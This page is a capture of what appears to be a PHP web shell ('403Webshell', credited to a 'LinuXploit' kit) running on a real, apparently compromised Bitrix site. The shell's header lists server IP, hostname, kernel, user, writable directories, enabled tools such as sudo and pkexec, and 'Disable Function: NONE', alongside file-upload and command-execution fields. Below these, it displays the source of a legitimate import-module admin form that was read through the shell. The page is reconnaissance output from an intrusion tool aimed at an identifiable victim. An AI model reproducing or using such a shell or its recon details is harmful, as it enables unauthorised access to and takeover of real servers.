403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/acrit.import/admin/include/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/acrit.import/admin/include/edit_step2.php
<?php
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

use \Bitrix\Main\Localization\Loc;

Loc::LoadMessages(__FILE__);
$loc_messages = Loc::loadLanguageFile(__FILE__);
?>
<script>
    loc_messages = {
	<?foreach ($loc_messages as $k => $message):?>
	<?=$k;?>: '<?=str_replace(array("\n", "\r"), '', $message);?>',
	<?endforeach;?>
    };
</script>

<?
if (!empty($arProfileAddSettings)):?>
<tr class="heading" align="center">
    <td colspan="2"><b><?=$arProfileAddSettings['title'];?></b></td>
</tr>
<?foreach ($arProfileAddSettings['fields'] as $k => $arParam):?>
<?$field_name = 'PROFILE[SOURCE_'.$arParam['DB_FIELD'].']';?>
<?if($arParam['TYPE'] != 'custom'):?>
<tr>
    <td><?=$arParam['LABEL'];?>:</td>
    <td>
        <?if($arParam['TYPE'] == 'boolean'):?>
        <input type="hidden" name="<?=$field_name;?>" value="N">
        <input type="checkbox" name="<?=$field_name;?>" value="Y"<?=($arParam['VALUE'] == "Y")?' checked':''?> class="import-change-sbmt">
        <?elseif($arParam['TYPE'] == 'list'):?>
        <select name="<?=$field_name;?>" class="import-change-sbmt">
            <?foreach($arParam['LIST'] as $l_k => $l_value):?>
            <?if(!is_array($l_value)):?>
            <option value="<?=$l_k;?>"<?=($arParam['VALUE'] == $l_k)?' selected':''?>><?=$l_value;?></option>
            <?else:?>
            <optgroup label="<?=$l_value[key($l_value)];?>">
                <?foreach($l_value as $v_k => $v_value):?>
                <option value="<?=$v_k;?>"<?=($arParam['VALUE'] == $v_k)?' selected':''?>><?=$v_value;?></option>
                <?endforeach;?>
            </optgroup>
            <?endif;?>
            <?endforeach;?>
        </select>
        <?elseif($arParam['TYPE'] == 'list_multiple'):?>
        <select multiple name="<?=$field_name;?>[]" class="import-change-sbmt">
            <?foreach($arParam['LIST'] as $l_k => $l_value):?>
            <option value="<?=$l_k;?>"<?=in_array($l_k, $arParam['VALUE'])?' selected':''?>><?=$l_value;?></option>
            <?endforeach;?>
        </select>
        <?elseif($arParam['TYPE'] == 'number'):?>
        <input type="text" name="<?=$field_name;?>" value="<?=$arParam['VALUE'];?>" size="5" class="import-change-sbmt" />
        <?elseif($arParam['TYPE'] == 'string'):?>
        <input type="text" name="<?=$field_name;?>" value="<?=$arParam['VALUE'];?>" placeholder="<?=$arParam['PLACEHOLDER'];?>" size="20" class="import-change-sbmt" />
        <?endif;?>
    </td>
</tr>
<?else:?>
<?=$arParam['HTML'];?>
<?endif;?>
<?endforeach;?>
<?endif;?>

<tr class="heading" align="center">
    <td colspan="2"><b><?=GetMessage("ACRIT_IMPORT_STEP2_SUBTIT1"); ?></b></td>
</tr>
<tr>
    <td colspan="2">
        <div class="adm-info-message">
            <a href="https://www.acrit-studio.ru/technical-support/nastroyka-modulya-universalnyy-import/opisanie-poley-dlya-importa/" target="_blank"><?=GetMessage("ACRIT_IMPORT_STEP2_HELP_FIELDS"); ?></a><br />
            <a href="https://www.acrit-studio.ru/technical-support/nastroyka-modulya-universalnyy-import/optsii-i-modifikatory-dlya-poley/" target="_blank"><?=GetMessage("ACRIT_IMPORT_STEP2_HELP_OPTIONS"); ?></a><br />
        </div>
    </td>
</tr>

<?if (!empty($arSourceFields)):?>
<?foreach ($arSourceFields as $k => $arSField):?>
<tr>
    <td><?=GetMessage("ACRIT_IMPORT_POLE")?><strong><?=$arSField['NAME'];?></strong><?=$arSField['EXAMPLE']?' ("'.$arSField['EXAMPLE'].'")':'';?>:</td>
    <td>
        <select name="FLDSMAP[<?=$arSField['ID'];?>]" class="acrit-import-store-fields">
            <option value=""><?=GetMessage("ACRIT_IMPORT_NE_IMPORTIROVATQ")?></option>
            <?foreach ($arIBlockFields as $ibg_k => $arIBGroup):?>
            <optgroup label="<?=$arIBGroup['TITLE'];?>">
            <?foreach ($arIBGroup['ITEMS'] as $ibf_k => $arIBField):?>
            <option value="<?=$arIBField['ID'];?>"<?=$arIBField['ID']==$arSField['SAVED_FIELD']?' selected':'';?>><?=$arIBField['NAME'];?></option>
            <?endforeach;?>
            </optgroup>
            <?endforeach;?>
        </select>
        <?
        $display = false;
        foreach ($arSField['PARAMS'] as $name => $p_value):
            if ((!is_array($p_value) && ($p_value != $arFieldsParams[$name]['DEFAULT'])) ||
                (is_array($p_value) && (!empty(array_filter($p_value)) || $p_value["checked"] == "Y"))):
                $display = true;
            endif;
        endforeach;
        ?>
        <div class="field-params"<?=!$display?' style="display: none;"':'';?>>
            <?foreach ($arFieldsParams as $name => $arFieldsParam):?>
            <?$field_name = 'FLDSMAP_PARAMS['.$arSField['ID'].']['.$name.']';?>
            <div class="field-params-item">
				<div style="display: inline-block;">
					<span id="hint_PROFILE[<?=$name?>]"></span><script type="text/javascript">BX.hint_replace( BX( 'hint_PROFILE[<?=$name?>]' ), '<?=$arFieldsParam['HINT'];?>' );</script>
				</div>
                <?if($arFieldsParam['TYPE'] == 'boolean'):?>
                <?if($name == "num_round"):?>
                <input type="hidden" name="" value="N">
                <input type="checkbox" name="<?=$field_name;?>" id="<?='fldsmap_params_'.$arSField['ID'].'_'.$name;?>" value="Y"<?=($arSField['PARAMS'][$name]['checked'] == "Y")?' checked':''?>>
                <label for="<?='fldsmap_'.$arSField['ID'].'_params_'.$name;?>"><?=$arFieldsParam['LABEL'];?></label>
                <input type="hidden" name="<?=$field_name."[checked]"?>" class="hidden-numround-checked" value="<?=($arSField['PARAMS'][$name]['checked'] == "Y")? 'Y':''?>">
                <div class="fields-add-params" style="margin-top: 5px;margin-left: 10px;<?=($arSField['PARAMS'][$name]['checked'] == "Y" ? " display: block;" : " display: none;")?>">
                    <div class="field-params-item" style="display: inline-block">
                        <select name="<?=$field_name?>[ADD_PARAMS]">
                            <? foreach($arFieldsParam['ADD_PARAMS'] as $key => $value): ?>
                            <option name="<?=$field_name."[".$key."]"?>" value="<?=$key?>" <?=($arSField['PARAMS'][$name]['ADD_PARAMS'] == $key ? 'selected' : '');?>><?=$value?></option>
                            <? endforeach; ?>
                        </select>
                    </div>
                    <div class="field-params-item" style="display: inline-block">
                        <select name="<?=$field_name?>[ADD_PRECISION]">
                            <? foreach($arFieldsParam['ADD_PRECISION'] as $key => $value): ?>
                            <option name="<?=$field_name."[".$key."]"?>" value="<?=$key?>" <?=($arSField['PARAMS'][$name]['ADD_PRECISION'] == $key ? 'selected' : '');?>><?=$value?></option>
                            <? endforeach; ?>
                        </select>
                    </div>
                </div>
                <? elseif($name == "work_picture"):?>
                <input type="hidden" name="" value="">
                <input type="checkbox" name="<?=$field_name;?>" id="<?='fldsmap_params_'.$arSField['ID'].'_'.$name;?>" value="Y"<?=($arSField['PARAMS'][$name]['checked'] == "Y")?' checked':''?>>
                <label for="<?='fldsmap_'.$arSField['ID'].'_params_'.$name;?>"><?=$arFieldsParam['LABEL'];?></label>
                <input type="hidden" name="<?=$field_name."[checked]"?>" class="hidden-workpicture-checked" value="<?=($arSField['PARAMS'][$name]['checked'] == "Y")? 'Y':''?>">
                <div class="fields-add-params" style="margin-top: 5px;margin-left: 10px;<?=($arSField['PARAMS'][$name]['checked'] == "Y" ? " display: block;" : " display: none;")?>">
                    <div class="field-params-item">
                        <label for="width"><?=$arFieldsParam['ADD_PARAMS']['WIDTH']?></label>
                        <input type="text" name="<?=$field_name."[width]"?>" value="<?=($arSField['PARAMS'][$name]['width'] != "N" ? $arSField['PARAMS'][$name]['width'] : '');?>" size="4" />
                        <label for="height"><?=$arFieldsParam['ADD_PARAMS']['HEIGHT']?></label>
                        <input type="text" name="<?=$field_name."[height]"?>" value="<?=($arSField['PARAMS'][$name]['height'] != "N" ? $arSField['PARAMS'][$name]['height'] : '') ;?>" size="4" />
                    </div>
                    <div class="field-params-item" style="margin: 5px 0px;">
                        <div style="display: block">
                            <label><?=$arFieldsParam['ADD_PARAMS']['PROCESS_TYPE']?></label>
                        </div>
                        <div style="display: inline-block">
                            <input type="radio" id="prop" name="<?=$field_name."[process_type]"?>" value="proportional"
                            <?=($arSField['PARAMS'][$name]['process_type'] == 'N' || $arSField['PARAMS'][$name]['process_type'] == 'proportional' ||
                                !$arSField['PARAMS'][$name]['process_type'] ? 'checked' : '')?>>
                            <label for="prop"><?=$arFieldsParam['ADD_PARAMS']['PROPORTIONAL']?></label>
                        </div>
                        <div style="display: inline-block">
                            <input type="radio" id="cut" name="<?=$field_name."[process_type]"?>" value="cut" <?=($arSField['PARAMS'][$name]['process_type'] == 'cut' ? 'checked' : '')?>>
                            <label for="cut"><?=$arFieldsParam['ADD_PARAMS']['CUT']?></label>
                        </div>
                    </div>
                    <div class="field-params-item">
                        <label for="quality"><?=$arFieldsParam['ADD_PARAMS']['QUALITY']?></label>
                        <input type="text" name="<?=$field_name."[quality]"?>" value="<?=($arSField['PARAMS'][$name]['quality'] != "N" ? $arSField['PARAMS'][$name]['quality'] : '');?>" size="4" />
                    </div>
                    <div class="field-params-item">
                        <label for="file_extension"><?=$arFieldsParam['ADD_PARAMS']['FILE_EXTENSION']?></label>
                        <input type="text" name="<?=$field_name."[file_extension]"?>" value="<?=($arSField['PARAMS'][$name]['file_extension'] != "N" ? $arSField['PARAMS'][$name]['file_extension'] : '');?>" size="4" placeholder="jpg" />
                    </div>
                </div>
                <? else:?>
                <input type="hidden" name="" value="N">
                <input type="checkbox" name="<?=$field_name;?>" id="<?='fldsmap_params_'.$arSField['ID'].'_'.$name;?>" value="Y"<?=($arSField['PARAMS'][$name] == "Y")?' checked':''?>>
                <label for="<?='fldsmap_'.$arSField['ID'].'_params_'.$name;?>"><?=$arFieldsParam['LABEL'];?></label>
                <? endif;?>
                <?elseif($arFieldsParam['TYPE'] == 'list'):?>
                <label for="<?='fldsmap_params_'.$arSField['ID'].'_'.$name;?>"><?=$arFieldsParam['LABEL'];?></label>
                <select name="<?=$field_name;?>">
                    <option value="">-</option>
                    <?foreach($arFieldsParam['LIST'] as $l_k => $l_value):?>
                    <option value="<?=$l_k;?>"<?=($arSField['PARAMS'][$name] == $l_k)?' selected':''?>><?=$l_value;?></option>
                    <?endforeach;?>
                </select>
                <?elseif($arFieldsParam['TYPE'] == 'num'):?>
                <label for="<?='fldsmap_'.$arSField['ID'].'_params_'.$name;?>"><?=$arFieldsParam['LABEL'];?></label>
                <input type="text" name="<?=$field_name;?>" value="<?=$arSField['PARAMS'][$name];?>" size="5" />
                <?elseif($arFieldsParam['TYPE'] == 'string'):?>
                <label for="<?='fldsmap_'.$arSField['ID'].'_params_'.$name;?>"><?=$arFieldsParam['LABEL'];?></label>
                <?if(!$arFieldsParam['MULTIPLE']):?>
                <input type="text" name="<?=$field_name;?>" value="<?=$arSField['PARAMS'][$name];?>" placeholder="<?=$arFieldsParam['PLACEHOLDER'];?>" size="20" />
                <?else:?>
                <div class="multiple">
                    <div class="values">
                        <?if(!$arSField['PARAMS'][$name] || empty(array_filter($arSField['PARAMS'][$name]))):?>
                        <div class="value-item">
                            <input type="text" name="<?=$field_name;?>[]" value="" placeholder="<?=$arFieldsParam['PLACEHOLDER'];?>" size="20" />
                            <a href="#" class="del" style="display:none;"><?=GetMessage("ACRIT_IMPORT_UDALITQ")?></a>
                        </div>
                        <?else:?>
                        <?$i = 0;?>
                        <?foreach($arSField['PARAMS'][$name] as $value):?>
                        <?if($value):?>
                        <div class="value-item">
                            <input type="text" name="<?=$field_name;?>[]" value="<?=$value;?>" placeholder="<?=$arFieldsParam['PLACEHOLDER'];?>" size="20" />
                            <a href="#" class="del"<?=(!$i?' style="display:none;"':'');?>><?=GetMessage("ACRIT_IMPORT_UDALITQ")?></a>
                        </div>
                        <?$i++;?>
                        <?endif;?>
                        <?endforeach;?>
                        <?endif;?>
                    </div>
                    <div class="add-block"><a href="#" class="add"><?=GetMessage("ACRIT_IMPORT_DOBAVITQ")?></a></div>
                </div>
                <?endif;?>
                <?endif;?>
            </div>
            <?endforeach;?>
        </div>
        <div class="field-params-link"><a href="#"><?=GetMessage("ACRIT_IMPORT_PARAMETRY_OBRABOTKI")?></a></div>
    </td>
</tr>
<?endforeach;?>
<?endif;?>

<tr>
    <td colspan="2">
        <div id="tree_actions" style="position: relative; z-index: 1;"></div>
        <?
        /*$arCondParams = array(
            'FORM_NAME' => 'sale_discount_form',
            'CONT_ID' => 'tree_actions',
            'JS_NAME' => 'JSSaleAct',
            'PREFIX' => 'actrl',
            'INIT_CONTROLS' => array(
                'SITE_ID' => SITE_ID,
                'CURRENCY' => CSaleLang::GetLangCurrency(SITE_ID),
            ),
            'SYSTEM_MESSAGES' => array(
                'SELECT_CONTROL' => GetMessage('BT_SALE_DISCOUNT_ACTIONS_SELECT_CONTROL'),
                'ADD_CONTROL' => GetMessage('BT_SALE_DISCOUNT_ACTIONS_ADD_CONTROL'),
                'DELETE_CONTROL' => GetMessage('BT_SALE_DISCOUNT_ACTIONS_DELETE_CONTROL'),
            ),
        );
        $arActions = Array
(
    'CLASS_ID' => 'CondGroup',
    'DATA' => Array
        (
            'All' => 'AND'
        ),
    'CHILDREN' => Array
        (
            0 => Array
                (
                    'CLASS_ID' => 'GiftCondGroup',
                    'DATA' => Array
                        (
                            'All' => 'AND'
                        ),

                    'CHILDREN' => Array
                        (
                            0 => Array
                                (
                                    'CLASS_ID' => 'GifterCondIBElement',
                                    'DATA' => Array
                                        (
                                            'Type' => 'one',
                                            'Value' => Array
                                                (
                                                    0 => 37,
                                                    1 => 38,
                                                    2 => 36,
                                                    3 => 40,
                                                ),

                                        )

                                )

                        )

                )

        )

);
        $obCond = new CSaleActionTree();
        $boolCond = $obCond->Init(BT_COND_MODE_DEFAULT, BT_COND_BUILD_SALE_ACTIONS, $arCondParams);
        if (!$boolCond)
        {
            if ($ex = $APPLICATION->GetException())
                echo $ex->GetString()."<br>";
        }
        else
        {
            $obCond->Show($arActions);
        }*/
        ?>
    </td>
</tr>

<?if (!empty($arSourceFields)):?>
<tr class="acrit-import-bgr-lightred">
    <td><?=GetMessage("ACRIT_IMPORT_POLE_IDENTIFIKATOR_E")?></td>
    <td>
        <select name="PROFILE[ELEMENT_IDENTIFIER]">
            <?foreach ($arSourceFields as $k => $arSField):?>
            <option value="<?=$arSField['ID'];?>"<?=$arProfile['ELEMENT_IDENTIFIER']==$arSField['ID']?' selected':'';?>><?=$arSField['NAME'];?></option>
            <?endforeach;?>
        </select>
    </td>
</tr>
<?endif;?>

<tr class="heading" align="center">
    <td colspan="2"><b><?=GetMessage("ACRIT_IMPORT_STEP2_SUBTIT2"); ?></b></td>
</tr>

<tr>
    <td><?echo GetMessage("ACRIT_IMPORT_FLD_IMGS_SOURCE_TYPE"); ?>:</td>
    <td>
        <select name="PROFILE[IMGS_SOURCE_TYPE]" id="profile_imgs_source_type">
            <option value="loc_server"<?=$arProfile['IMGS_SOURCE_TYPE']=='server_or_site'?' selected':'';?>><?=GetMessage("ACRIT_IMPORT_IMGS_SOURCE_TYPE_SERVER")?></option>
        </select>
    </td>
</tr>

<tr>
    <td><?echo GetMessage("ACRIT_IMPORT_FLD_IMGS_SOURCE"); ?>:</td>
    <td>
        <input type="text" name="PROFILE[IMGS_SOURCE_PATH]" value="<?=$arProfile['IMGS_SOURCE_PATH'];?>" size="50" />
    </td>
</tr>

Youez - 2016 - github.com/yon3zu
LinuXploit